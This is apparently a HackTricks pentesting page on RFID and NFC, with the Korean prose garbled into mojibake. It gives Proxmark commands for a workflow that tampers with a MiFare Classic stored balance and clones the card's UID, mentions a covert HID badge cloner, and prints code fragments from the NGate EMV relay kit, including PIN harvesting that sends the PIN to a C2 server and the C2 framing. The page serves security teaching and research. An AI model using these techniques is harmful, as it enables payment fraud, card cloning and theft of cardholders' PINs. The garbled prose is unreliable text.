Pentesting RFID
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์๊ฐ
**Radio Frequency Identification (RFID)**๋ ๊ฐ์ฅ ๋๋ฆฌ ์ฌ์ฉ๋๋ ๋จ๊ฑฐ๋ฆฌ ๋ฌด์ ์๋ฃจ์ ์ ๋๋ค. ์ฃผ๋ก ์ํฐํฐ๋ฅผ ์๋ณํ๋ ์ ๋ณด๋ฅผ ์ ์ฅํ๊ณ ์ ์กํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค.
RFID ํ๊ทธ๋ ์์ฒด ์ ์( active )(๋ด์ฅ ๋ฐฐํฐ๋ฆฌ ๋ฑ)์ ์์กดํ ์ ์๊ณ , ๋๋ ๋ฆฌ๋ ์ํ ๋๋ก๋ถํฐ ์์ ๋ ์ ํ์์ **์ ๋๋ ์ ๋ฅ( passive )**๋ก ์ ์์ ๊ณต๊ธ๋ฐ์ ์ ์์ต๋๋ค.
ํด๋์ค
EPCglobal์ RFID ํ๊ทธ๋ฅผ ์ฌ์ฏ ๊ฐ ์นดํ ๊ณ ๋ฆฌ๋ก ๋๋๋๋ค. ๊ฐ ์นดํ ๊ณ ๋ฆฌ์ ํ๊ทธ๋ ์ด์ ์นดํ ๊ณ ๋ฆฌ์ ์๋ ๋ชจ๋ ๊ธฐ๋ฅ์ ํฌํจํ๋ฏ๋ก ํ์ ํธํ๋ฉ๋๋ค.
- Class 0 ํ๊ทธ๋ passive์ด๋ฉฐ UHF ๋์ญ์์ ๋์ํฉ๋๋ค. ์ ์กฐ์ฌ์์ ์ฌ์ ํ๋ก๊ทธ๋๋ฐ(preprograms) ๋์ด ๋์ค๋ฏ๋ก ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฅ๋ ์ ๋ณด๋ฅผ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค.
- Class 1 ํ๊ทธ๋ HF ๋์ญ์์๋ ๋์ํ ์ ์์ต๋๋ค. ๋ํ ์์ฐ ํ **ํ ๋ฒ๋ง ์ฐ๊ธฐ(write once)**๊ฐ ๊ฐ๋ฅํฉ๋๋ค. ๋ง์ Class 1 ํ๊ทธ๋ ์์ ํ ๋ช ๋ น์ **CRC(CRCs)**๋ฅผ ์ฒ๋ฆฌํ ์ ์์ต๋๋ค. CRC๋ ์ค๋ฅ ๊ฒ์ถ์ ์ํ ๋ช ๋ น ๋์ ๋ช ๋ฐ์ดํธ์ ๋๋ค.
- Class 2 ํ๊ทธ๋ **์ฌ๋ฌ ๋ฒ ๊ธฐ๋ก(write multiple times)**ํ ์ ์์ต๋๋ค.
- Class 3 ํ๊ทธ๋ ํ์ฌ ์จ๋๋ ํ๊ทธ์ ๋์๊ณผ ๊ฐ์ ํ๊ฒฝ ํ๋ผ๋ฏธํฐ๋ฅผ ๊ธฐ๋กํ ์ ์๋ ๋ด์ฅ ์ผ์๋ฅผ ํฌํจํ ์ ์์ต๋๋ค. ์ด๋ฌํ ํ๊ทธ๋ semi-passive๋ก, ๋ด์ฅ ๋ฐฐํฐ๋ฆฌ ๊ฐ์ ์ ์์ ์์ง๋ง ๋ค๋ฅธ ํ๊ทธ๋ ๋ฆฌ๋์ ๋ฌด์ ํต์ ์ ์์ํ ์๋ ์์ต๋๋ค.
- Class 4 ํ๊ทธ๋ ๋์ผ ํด๋์ค์ ๋ค๋ฅธ ํ๊ทธ์ ํต์ ์ ์์ํ ์ ์์ด active tags๊ฐ ๋ฉ๋๋ค.
- Class 5 ํ๊ทธ๋ ๋ค๋ฅธ ํ๊ทธ์ ์ ์์ ๊ณต๊ธํ๊ณ ์ด์ ํด๋์ค์ ๋ชจ๋ ํ๊ทธ์ ํต์ ํ ์ ์์ต๋๋ค. Class 5 ํ๊ทธ๋ RFID readers๋ก ๋์ํ ์ ์์ต๋๋ค.
RFID ํ๊ทธ์ ์ ์ฅ๋ ์ ๋ณด
RFID ํ๊ทธ์ ๋ฉ๋ชจ๋ฆฌ๋ ๋ณดํต ๋ค ๊ฐ์ง ์ข ๋ฅ์ ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํฉ๋๋ค: ํ๊ทธ๊ฐ ๋ถ์ฐฉ๋ ์ํฐํฐ๋ฅผ ์๋ณํ๋ ์๋ณ ๋ฐ์ดํฐ(identification data)(์ํ ๊ณ์ข ๋ฑ ์ฌ์ฉ์ ์ ์ ํ๋ ํฌํจ), ์ํฐํฐ์ ๋ํ ์ถ๊ฐ ์ ๋ณด(supplementary data), ํ๊ทธ ๋ด๋ถ **๊ตฌ์ฑ(control data)**์ ์ฌ์ฉ๋๋ ์ ์ด ๋ฐ์ดํฐ, ๊ทธ๋ฆฌ๊ณ ํ๊ทธ์ **์ ์กฐ์ฌ ๋ฐ์ดํฐ(manufacturer data)**๋ก UID์ ์์ฐ, ์ ํ, ๋ฒค๋ ๊ด๋ จ ์ ๋ณด๋ฅผ ํฌํจํฉ๋๋ค. ์์ ์ฉ ํ๊ทธ์์๋ ์์ ๋ ๊ฐ์ง ๋ฐ์ดํฐ๊ฐ ๊ฑฐ์ ๋ชจ๋ ์กด์ฌํ๋ฉฐ, ๋ง์ง๋ง ๋ ๊ฐ์ง๋ ํ๊ทธ ๋ฒค๋์ ๋ฐ๋ผ ๋ค๋ฅผ ์ ์์ต๋๋ค.
ISO ํ์ค์ ํ๊ทธ๊ฐ ์ํ ๊ฐ์ฒด์ ์ข ๋ฅ๋ฅผ ๋ํ๋ด๋ Application Family Identifier(AFI) ๊ฐ์ ์ง์ ํฉ๋๋ค. ISO๊ฐ ์ง์ ํ ๋ ๋ค๋ฅธ ์ค์ํ ๋ ์ง์คํฐ๋ ์ฌ์ฉ์ ๋ฐ์ดํฐ์ ๋ ผ๋ฆฌ์ ๊ตฌ์ฑ์ ์ ์ํ๋ Data Storage Format Identifier(DSFID)์ ๋๋ค.
๋๋ถ๋ถ์ RFID **๋ณด์ ์ ์ด(security controls)**๋ ๊ฐ ์ฌ์ฉ์ ๋ฉ๋ชจ๋ฆฌ ๋ธ๋ก๊ณผ AFI ๋ฐ DSFID ๊ฐ์ ํฌํจํ๋ ํน์ ๋ ์ง์คํฐ์ ๋ํ ์ฝ๊ธฐ/์ฐ๊ธฐ ์์ ์ **์ ํ(restrict)**ํ๋ ๋ฉ์ปค๋์ฆ์ ๊ฐ๊ณ ์์ต๋๋ค. ์ด๋ฌํ ์ ๊ธ(lock) ๋ฉ์ปค๋์ฆ์ ์ ์ด ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฅ๋ ๋ฐ์ดํฐ๋ฅผ ์ฌ์ฉํ๋ฉฐ ๋ฒค๋๊ฐ ๋ฏธ๋ฆฌ ์ค์ ํ **๊ธฐ๋ณธ ๋น๋ฐ๋ฒํธ(default passwords)**๋ฅผ ๊ฐ์ง๊ณ ์์ง๋ง ํ๊ทธ ์์ ์๊ฐ ์ปค์คํ ๋น๋ฐ๋ฒํธ๋ฅผ ์ค์ ํ ์ ์์ต๋๋ค.
์ ยท๊ณ ์ฃผํ ํ๊ทธ ๋น๊ต
.png)
Low-Frequency RFID Tags (125kHz)
Low-frequency tags๋ ๋ณด์์ด ํฌ๊ฒ ํ์ํ์ง ์์ ์์คํ ์์ ์์ฃผ ์ฌ์ฉ๋ฉ๋๋ค: ๊ฑด๋ฌผ ์ถ์ , ์ธํฐ์ฝค ํค, ํฌ์คํด๋ฝ ๋ฉค๋ฒ์ญ ์นด๋ ๋ฑ. ๋ ๊ธด ์๋ ๊ฑฐ๋ฆฌ๋ก ์ธํด ์ ๋ฃ ์ฃผ์ฐจ ์์คํ ์ ํธ๋ฆฌํ๊ฒ ์ฌ์ฉ๋ฉ๋๋ค: ์ด์ ์๊ฐ ์นด๋ ๋ฅผ ๋ฆฌ๋ ๊ฐ๊น์ด ๊ฐ์ ธ๊ฐ ํ์ ์์ด ๋จผ ๊ฑฐ๋ฆฌ์์ ํธ๋ฆฌ๊ฑฐ๋ฉ๋๋ค. ๋ฐ๋ฉด ์ ์ฃผํ ํ๊ทธ๋ ๋งค์ฐ ์์์ ์ด๊ณ ๋ฐ์ดํฐ ์ ์ก ์๋๊ฐ ๋ฎ์ ์์ก ๊ด๋ฆฌ๋ ์ํธํ ๊ฐ์ ๋ณต์กํ ์๋ฐฉํฅ ๋ฐ์ดํฐ ์ ์ก์ ๊ตฌํํ ์ ์์ต๋๋ค. ์ ์ฃผํ ํ๊ทธ๋ ์ธ์ฆ ์๋จ ์์ด ์งง์ ID๋ง ์ ์กํฉ๋๋ค.
์ด ์ฅ์น๋ค์ passive RFID ๊ธฐ์ ์ ์์กดํ๋ฉฐ 30 kHz ~ 300 kHz ๋ฒ์์์ ๋์ํ์ง๋ง, ๋ณดํต์ 125 kHz ~ 134 kHz๋ฅผ ์ฌ์ฉํฉ๋๋ค:
- Long Range โ ๋ฎ์ ์ฃผํ์๋ ๋ ๊ธด ๋ฒ์๋ฅผ ์๋ฏธํฉ๋๋ค. ์ผ๋ถ EM-Marin ๋ฐ HID ๋ฆฌ๋๋ ์ต๋ 1๋ฏธํฐ ๊ฑฐ๋ฆฌ์์ ๋์ํฉ๋๋ค. ์ฃผ์ฐจ ์์คํ ๋ฑ์ ์์ฃผ ์ฌ์ฉ๋ฉ๋๋ค.
- Primitive protocol โ ๋ฎ์ ๋ฐ์ดํฐ ์ ์ก ์๋๋ก ์ธํด ์ด๋ฌํ ํ๊ทธ๋ ์งง์ ID๋ง ์ ์กํ ์ ์์ต๋๋ค. ๋๋ถ๋ถ์ ๊ฒฝ์ฐ ๋ฐ์ดํฐ๋ ์ธ์ฆ๋์ง ์์ผ๋ฉฐ ์ด๋ ํ ๋ณดํธ๋ ์์ต๋๋ค. ์นด๋๊ฐ ๋ฆฌ๋ ๋ฒ์์ ๋ค์ด๊ฐ๋ฉด ๋จ์ํ ID๋ฅผ ์ ์กํฉ๋๋ค.
- Low security โ ์ด ์นด๋๋ค์ ํ๋กํ ์ฝ์ ์์์ฑ ๋๋ฌธ์ ์ฝ๊ฒ ๋ณต์ ๋๊ฑฐ๋ ๋ค๋ฅธ ์ฌ๋์ ์ฃผ๋จธ๋์์๋ ์ฝํ ์ ์์ต๋๋ค.
Popular 125 kHz protocols:
- EM-Marin โ EM4100, EM4102. CIS ์ง์ญ์์ ๊ฐ์ฅ ์ธ๊ธฐ ์๋ ํ๋กํ ์ฝ์ ๋๋ค. ๋จ์์ฑ๊ณผ ์์ ์ฑ ๋๋ฌธ์ ์ฝ 1๋ฏธํฐ ๊ฑฐ๋ฆฌ์์ ์ฝ์ ์ ์์ต๋๋ค.
- HID Prox II โ HID Global์ด ๋์ ํ ์ ์ฃผํ ํ๋กํ ์ฝ์ ๋๋ค. ์๊ตฌ๊ถ์์ ๋ ์ธ๊ธฐ๊ฐ ๋ง์ต๋๋ค. ๋ ๋ณต์กํ๋ฉฐ ์ด ํ๋กํ ์ฝ์ฉ ์นด๋์ ๋ฆฌ๋๋ ์๋์ ์ผ๋ก ๋น์๋๋ค.
- Indala โ Motorola๊ฐ ๋์ ํ๊ณ ๋์ค์ HID๊ฐ ์ธ์ํ ์ค๋๋ ์ ์ฃผํ ํ๋กํ ์ฝ์ ๋๋ค. ์์ ๋ ํ๋กํ ์ฝ๋ณด๋ค ์ฌ์ฉ ๋น๋๊ฐ ์ค์ด๋ค๊ณ ์์ต๋๋ค.
์ค์ ๋ก ์ ์ฃผํ ํ๋กํ ์ฝ์ ํจ์ฌ ๋ ๋ง์ง๋ง, ๋ฌผ๋ฆฌ ๊ณ์ธต์์ ๋์ผํ ๋ณ์กฐ๋ฅผ ์ฌ์ฉํ๋ฏ๋ก ์์ ์ด๊ฑฐ๋ ํ๋กํ ์ฝ์ ๋ณํ์ผ๋ก ๊ฐ์ฃผ๋ ์ ์์ต๋๋ค.
๊ณต๊ฒฉ
์ด ํ๊ทธ๋ค์ Flipper Zero๋ก ๊ณต๊ฒฉํ ์ ์์ต๋๋ค:
High-Frequency RFID Tags (13.56 MHz)
High-frequency tags๋ ์ํธํ, ๋์ฉ๋ ์๋ฐฉํฅ ๋ฐ์ดํฐ ์ ์ก, ์ธ์ฆ ๋ฑ ๋ณต์กํ ๋ฆฌ๋-ํ๊ทธ ์ํธ์์ฉ์ด ํ์ํ ๋ ์ฌ์ฉ๋ฉ๋๋ค. ์ฃผ๋ก ์ํ ์นด๋, ๋์ค๊ตํต, ๊ธฐํ ๋ณด์ ํจ์ค์์ ๋ณผ ์ ์์ต๋๋ค.
High-frequency 13.56 MHz tags are a set of standards and protocols. ์ด๋ค์ ๋ณดํต NFC๋ผ๊ณ ๋ถ๋ฅด์ง๋ง ํญ์ ์ ํํ ํํ์ ์๋๋๋ค. ๋ฌผ๋ฆฌ ๋ฐ ๋ ผ๋ฆฌ ๋ ๋ฒจ์์ ์ฌ์ฉ๋๋ ๊ธฐ๋ณธ ํ๋กํ ์ฝ ์ธํธ๋ ISO 14443์ ๋๋ค. ์์ ์์ค์ ํ๋กํ ์ฝ๊ณผ ๋์ฒด ํ์ค(์: ISO 19092)์ ์ด๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํฉ๋๋ค. ๋ง์ ์ฌ๋๋ค์ด ์ด ๊ธฐ์ ์ 13.56 MHz ๋์ญ์์ ๋์ํ๋ ๊ธฐ๊ธฐ๋ฅผ ๊ฐ๋ฆฌํค๋ ์ฉ์ด์ธ NFC(Near Field Communication)๋ก ๋ถ๋ฆ ๋๋ค.
.png)
๊ฐ๋จํ ๋งํ๋ฉด, NFC์ ์ํคํ ์ฒ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค: ์ ์ก ํ๋กํ ์ฝ์ ์นด๋๋ฅผ ๋ง๋๋ ํ์ฌ๊ฐ ์ ํํ์ฌ ์ ์์ค ISO 14443๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ๊ตฌํํฉ๋๋ค. ์๋ฅผ ๋ค์ด NXP๋ ์์ฒด ๊ณ ์์ค ์ ์ก ํ๋กํ ์ฝ์ธ Mifare๋ฅผ ๋ง๋ค์์ง๋ง, ์ ์์ค์์๋ Mifare ์นด๋๊ฐ ISO 14443-A ํ์ค์ ๊ธฐ๋ฐ์ผ๋ก ํฉ๋๋ค.
Flipper๋ ์ ์์ค ISO 14443 ํ๋กํ ์ฝ๊ณผ Mifare Ultralight ๋ฐ์ดํฐ ์ ์ก ํ๋กํ ์ฝ ๋ฐ ์ํ ์นด๋์ ์ฌ์ฉ๋๋ EMV์ ์ํธ์์ฉํ ์ ์์ต๋๋ค. ์ฐ๋ฆฌ๋ Mifare Classic๊ณผ NFC NDEF ์ง์์ ์ถ๊ฐํ๊ธฐ ์ํด ์์ ์ค์ ๋๋ค. NFC๋ฅผ ๊ตฌ์ฑํ๋ ํ๋กํ ์ฝ๊ณผ ํ์ค์ ์ฒ ์ ํ ์ดํด๋ณด๋ ๊ฒ์ ๋ณ๋์ ๊ธฐ์ฌ๋ก ๋ค๋ฃฐ ๊ฐ์น๊ฐ ์์ผ๋ฉฐ ์ถํ ๊ฒ์ํ ์์ ์ ๋๋ค.
ISO 14443-A ํ์ค์ ๊ธฐ๋ฐ์ผ๋ก ํ ๋ชจ๋ ๊ณ ์ฃผํ ์นด๋๋ ๊ณ ์ ํ ์นฉ ID๋ฅผ ๊ฐ์ง๋๋ค. ์ด๋ ๋คํธ์ํฌ ์นด๋์ MAC ์ฃผ์์ฒ๋ผ ์นด๋์ ์ผ๋ จ๋ฒํธ ์ญํ ์ ํฉ๋๋ค. ๋๋ถ๋ถ UID๋ 4๋ฐ์ดํธ ๋๋ 7๋ฐ์ดํธ ๊ธธ์ด์ด์ง๋ง ๋๋ฌผ๊ฒ ์ต๋ 10๋ฐ์ดํธ๊น์ง ๊ฐ ์ ์์ต๋๋ค. UID๋ ๋น๋ฐ์ด ์๋๋ฉฐ ์ฝ๊ฒ ์ฝ์ ์ ์๊ณ , ๋๋ก๋ ์นด๋ ์์ฒด์ ์ธ์๋์ด ์๊ธฐ๋ ํฉ๋๋ค.
๋ง์ ์ถ์ ํต์ ์์คํ ์ด UID์ ์์กดํ์ฌ ์ธ์ฆ ๋ฐ ์ ๊ทผ ํ๊ฐ๋ฅผ ์ํํฉ๋๋ค. ๋๋ก๋ RFID ํ๊ทธ๊ฐ ์ํธํ๋ฅผ ์ง์ํ๋๋ผ๋ UID๋ง์ผ๋ก ์ ๊ทผ์ ํ์ฉํ๋ ์ฌ๋ก๊ฐ ์์ต๋๋ค. ์ด๋ฐ ์ค์ฉ์ ๋ณด์ ๋ฉด์์ ํด๋น ์์คํ ์ ๋จ์ํ 125 kHz ์นด๋ ์์ค์ผ๋ก ๋์ด๋ด๋ฆฝ๋๋ค. ๊ฐ์ ์นด๋(์: Apple Pay)๋ ๋์ UID๋ฅผ ์ฌ์ฉํ์ฌ ์ ํ ์ฌ์ฉ์๊ฐ ๊ฒฐ์ ์ฑ์ผ๋ก ๋ฌธ์ ์ด ์ ์๊ฒ ํฉ๋๋ค.
- Low range โ ๊ณ ์ฃผํ ์นด๋๋ ๋ฆฌ๋์ ๊ฐ๊น์ด ๊ฐ์ ธ๊ฐ์ผ๋ง ๋์ํ๋๋ก ์ค๊ณ๋์ด ์์ต๋๋ค. ์ด๋ ๋ฌด๋จ ์ํธ์์ฉ์ผ๋ก๋ถํฐ ์นด๋๋ฅผ ๋ณดํธํ๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค. ์ฐ๋ฆฌ๊ฐ ๋ฌ์ฑํ ์ต๋ ์ฝ๊ธฐ ๊ฑฐ๋ฆฌ๋ ์ฝ 15 cm์๊ณ , ์ด๋ ๋ง์ถค ์ ์๋ ์ฅ๊ฑฐ๋ฆฌ ๋ฆฌ๋๋ฅผ ์ฌ์ฉํ์ ๋์ ๋๋ค.
- Advanced protocols โ ์ต๋ 424 kbps์ ๋ฐ์ดํฐ ์ ์ก ์๋๋ก ๋ณต์กํ ํ๋กํ ์ฝ๊ณผ ์์ ํ ์๋ฐฉํฅ ๋ฐ์ดํฐ ์ ์ก์ด ๊ฐ๋ฅํฉ๋๋ค. ์ด๋ ์ํธํ๋ ๋ฐ์ดํฐ ์ ์ก ๋ฑ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
- High security โ ๊ณ ์ฃผํ ๋น์ ์ด ์นด๋์ ๋ณด์์ฑ์ ์ค๋งํธ ์นด๋์ ๋น๊ตํด ์ ํ ๋ค์ฒ์ง์ง ์์ต๋๋ค. AES ๊ฐ์ ๊ฐ๋ ฅํ ์ํธ ์๊ณ ๋ฆฌ์ฆ์ ์ง์ํ๊ณ ๋น๋์นญ ์ํธํ๋ฅผ ๊ตฌํํ๋ ์นด๋๋ ์์ต๋๋ค.
๊ณต๊ฒฉ
์ด ํ๊ทธ๋ค์ Flipper Zero๋ก ๊ณต๊ฒฉํ ์ ์์ต๋๋ค:
๋๋ proxmark๋ฅผ ์ฌ์ฉํ์ฌ ๋ค์๊ณผ ๊ฐ์ด ๊ณต๊ฒฉํ ์ ์์ต๋๋ค:
MiFare Classic offline stored-value tampering (broken Crypto1)
์์คํ ์ด MiFare Classic ์นด๋์ ๊ธ์ ์์ก์ ์ง์ ์ ์ฅํ ๊ฒฝ์ฐ, Classic์ด NXP์ ๋ ์ด์ ๊ถ์ฅ๋์ง ์๋ Crypto1 ์ํธ๋ฅผ ์ฌ์ฉํ๊ธฐ ๋๋ฌธ์ ์ข ์ข ์กฐ์ํ ์ ์์ต๋๋ค. Crypto1์ ์๋ ์ ๋ถํฐ ๊นจ์ ธ ์์ผ๋ฉฐ, sector keys ๋ณต๊ตฌ์ ์นด๋ ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฒด ์ฝ๊ธฐ/์ฐ๊ธฐ๋ฅผ ์ผ๋ฐ ํ๋์จ์ด(์: Proxmark3)๋ก ์ํํ ์ ์๊ฒ ํฉ๋๋ค.
์๋ํฌ์๋ ์ํฌํ๋ก์ฐ(์์ฝ):
- ์๋ณธ ์นด๋๋ฅผ ๋คํํ๊ณ ํค๋ฅผ ๋ณต๊ตฌ
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn
์ด๋ ์ผ๋ฐ์ ์ผ๋ก sector keys (A/B)๋ฅผ ๋ณต๊ตฌํ๊ณ client dumps folder์ full-card dump๋ฅผ ์์ฑํฉ๋๋ค.
- ๊ฐ/๋ฌด๊ฒฐ์ฑ ํ๋๋ฅผ ์ฐพ๊ณ ์ดํดํ๊ธฐ
- ์๋ณธ ์นด๋์ ํฉ๋ฒ์ ์ธ top-ups์ ์ํํ๊ณ ์ฌ๋ฌ ๋ฒ์ dumps(์ถฉ์ ์ /ํ)๋ฅผ ์ป์ต๋๋ค.
- ๋ dumps์ diff๋ฅผ ์ํํ์ฌ ์์ก๊ณผ ๋ฌด๊ฒฐ์ฑ ํ๋๋ฅผ ๋ํ๋ด๋ ๋ณ๊ฒฝ๋๋ ๋ธ๋ก/bytes๋ฅผ ์๋ณํฉ๋๋ค.
- ๋ง์ Classic ๋ฐฐํฌ์์๋ ๊ธฐ๋ณธ โvalue blockโ ์ธ์ฝ๋ฉ์ ์ฌ์ฉํ๊ฑฐ๋ ์์ฒด ์ฒดํฌ์ฌ์ ์ ์ฉํฉ๋๋ค(์: ์์ก๊ณผ ๋ค๋ฅธ ํ๋ ๋ฐ ์์์ XOR). ์์ก์ ๋ณ๊ฒฝํ ํ์๋ ๋ฌด๊ฒฐ์ฑ bytes๋ฅผ ์ฌ๊ณ์ฐํ๊ณ , ์ค๋ณต๋๊ฑฐ๋ ๋ณด์๋ ๋ชจ๋ ํ๋๊ฐ ์ผ๊ด๋๋๋ก ํ์ธํ์ธ์.
- ์์ ๋ modified dump๋ฅผ ์ฐ๊ธฐ ๊ฐ๋ฅํ โChinese magicโ Classic tag์ ๊ธฐ๋กํฉ๋๋ค.
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
- ์๋ UID๋ฅผ ๋ณต์ ํ์ฌ ๋จ๋ง๊ธฐ๊ฐ ์นด๋๋ฅผ ์ธ์ํ๋๋ก ํ๋ค
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
- ๋จ๋ง๊ธฐ์์ ์ฌ์ฉ
์นด๋ ์์ฒด์ ์์ก(on-card balance)๊ณผ UID๋ฅผ ์ ๋ขฐํ๋ ๋ฆฌ๋๋ ์กฐ์๋ ์นด๋๋ฅผ ์๋ฝํ๋ค. ํ์ฅ ๊ด์ฐฐ์ ๋ฐ๋ฅด๋ฉด ๋ง์ ๋ฐฐํฌ ํ๊ฒฝ์์ ํ๋ ๋๋น(์: 16๋นํธ fixed-point)์ ๋ฐ๋ผ ์์ก์ ์ ํํ๋ค.
Notes
- ์์คํ ์ด native Classic value blocks๋ฅผ ์ฌ์ฉํ๋ค๋ฉด ํ์์ ๊ธฐ์ตํ๋ผ: value (4B) + ~value (4B) + value (4B) + block address + ~address. ๋ชจ๋ ๋ถ๋ถ์ด ์ผ์นํด์ผ ํ๋ค.
- ๊ฐ๋จํ ์ฒดํฌ์ฌ์ ์ฌ์ฉํ๋ ์ปค์คํ ํฌ๋งท์ ๊ฒฝ์ฐ, ํ์จ์ด๋ฅผ ๋ฆฌ๋ฒ์คํ์ง ์๊ณ ๋ฌด๊ฒฐ์ฑ ํจ์๋ฅผ ๋์ถํ๋ ๊ฐ์ฅ ๋น ๋ฅธ ๋ฐฉ๋ฒ์ ์ฐจ๋ถ ๋ถ์(differential analysis)์ด๋ค.
- block 0/UID ์ฐ๊ธฐ๋ฅผ ํ์ฉํ๋ ๊ฒ์ UID-changeable ํ๊ทธ(์: โChinese magicโ gen1a/gen2)๋ฟ์ด๋ค. ์ผ๋ฐ Classic ์นด๋๋ UID๊ฐ ์ฝ๊ธฐ ์ ์ฉ์ด๋ค.
์ค์ต์ฉ Proxmark3 ๋ช ๋ น์ ๋ค์์ ์ฐธ์กฐ:
ํด๋์ฉ HID MaxiProx 125 kHz Mobile Cloner ์ ์
๋ ๋ํ ํ๋ ์ค HID Proxยฎ ๋ฐฐ์ง๋ฅผ ์์งํ๊ธฐ ์ํ ์ฅ๊ฑฐ๋ฆฌ, ๋ฐฐํฐ๋ฆฌ ๊ตฌ๋ ์๋ฃจ์ ์ด ํ์ํ๋ค๋ฉด ๋ฒฝ๊ฑธ์ดํ HID MaxiProx 5375 ๋ฆฌ๋๋ฅผ ๋ฐฑํฉ์ ๋ค์ด๊ฐ๋ ์๊ธ์ ํด๋ก๋๋ก ๊ฐ์กฐํ ์ ์๋ค. ์ ์ฒด ๊ธฐ๊ณ์ ยท์ ๊ธฐ์ ์ํฌ์ค๋ฃจ๋ ๋ค์์ ์ฐธ์กฐ:
Android ReaderโHCE Emitter๋ฅผ ํตํ NFC/EMV ๋ฆด๋ ์ด
Classic EMV ๋ฆด๋ ์ด๋ 2๋์ Android ๋๋ฐ์ด์ค๋ก ๊ตฌํํ ์ ์๋ค: ์ค์ ์นด๋์์ ๋ผ์ด๋ธ APDUs์ PIN์ ์บก์ฒํ๋ victim ์ธก ๋ฆฌ๋, ๊ทธ๋ฆฌ๊ณ ๋จ๋ง๊ธฐ์์ APDUs๋ฅผ ์์๋ก ์ ๋ฌํ๋ attacker ์ธก HCE emitter. ๋ถ์๋ NGate ํคํธ๋ ์ ๋นํ Android NFC API์ ๋จ์ํ ํ๋ ์ ๊ธฐ๋ฐ TCP C2๋ฅผ ์ ์ฉํด ์ค์๊ฐ ATM ์บ์์์์ ์กฐ์จํ๋ค.
ํต์ฌ ๊ตฌ์ฑ ์์
- Reader-mode app (victim): NFC reader APIs๋ฅผ ์ฌ์ฉํด EMV (PAN/expiry/AIDs)๋ฅผ ํ์ฑํ๊ณ , AID๋ณ๋ก ์คํด์ ํ์ํ๋ฉฐ PIN์ ์์ฒญํด ์ฆ์ ์ ์ถ(exfiltrate)ํ๋ค.
- Emitter-mode app (ATM side): Host Card Emulation (HCE)์ ๊ตฌํํ๋ฉฐ
android:requireDeviceUnlock="false"์ ๊ฒฐ์ AID๋ฅผ ์ฌ์ฉํ๋ค;processCommandApdu()๋ APDUs๋ฅผ C2๋ก ์ ๋ฌํ๊ณ ์ต์ํ์ ์๋ต์ ๋ฐํํ๋ค. - Wire protocol: length-prefixed frames, ์ฃผ๊ธฐ์ keepalive; ์ ํ์ ์ผ๋ก TLS.
Android surface (Manifest/HCE)
<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.INTERNET"/>
<service android:name=".nfc.hce.ApduService"
android:permission="android.permission.BIND_NFC_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<meta-data android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/hce"/>
</service>
hce.xml ์์ (์ ๊ธ ํด์ ์์ + ๊ฒฐ์ AID)
<host-apdu-service android:requireDeviceUnlock="false"
android:description="relay">
<aid-group android:category="other">
<aid-filter android:name="F001020304050607"/>
</aid-group>
<aid-group android:category="payment">
<aid-filter android:name="F001020304050607"/>
</aid-group>
</host-apdu-service>
ํฌ๋ช ์ค๊ณ ์๋ํฌ์ธํธ (HCE)
@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
Log.d("ApduService", "APDU-IN: " + toHex(apdu));
bus.forward(apdu); // send upstream to C2/reader
return new byte[0]; // empty response, pure relay endpoint
}
AID๋ก EMV ์คํด ์ ์ถ (์์)
- A000000004 โ Mastercard
- A000000003 โ Visa
- A000000658 โ MIR
- A000000333 โ UnionPay
PIN harvesting ํจํด (ํผํด์ UI)
// Custom keypad publishes when required length (e.g., 4) is reached
if (pin.length() == 4) postDelayed(() -> bus.publish(pin), 100L);
// Network immediately exfiltrates via dedicated opcode
send(OP_PIN_REQ, pin.getBytes(StandardCharsets.UTF_8));
Framed C2 (cleartext ์์)
- ClientโServer: int32 len | int32 opcode | body
- ServerโClient: int32 len | body (opcode inside payload)
- ๋ณธ๋ฌธ ํฌ๊ธฐ๊ฐ ~100 MiB๋ฅผ ์ด๊ณผํ๋ฉด ๊ฑฐ๋ถ; keepalive ~7s (PING)
// send
out.writeInt(body.length); out.writeInt(op); out.write(body); out.flush();
// recv
int len = in.readInt(); byte[] body = new byte[len]; in.readFully(body);
Config concealment: ์ธ์ฆ์ ๊ธฐ๋ฐ XOR
- ๋ค์ดํฐ๋ธ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ ์ฑ ์๋ช ์ธ์ฆ์(DER)์ SHAโ256์ผ๋ก 32-byte ํค๋ฅผ ์ ๋ํ๋ค.
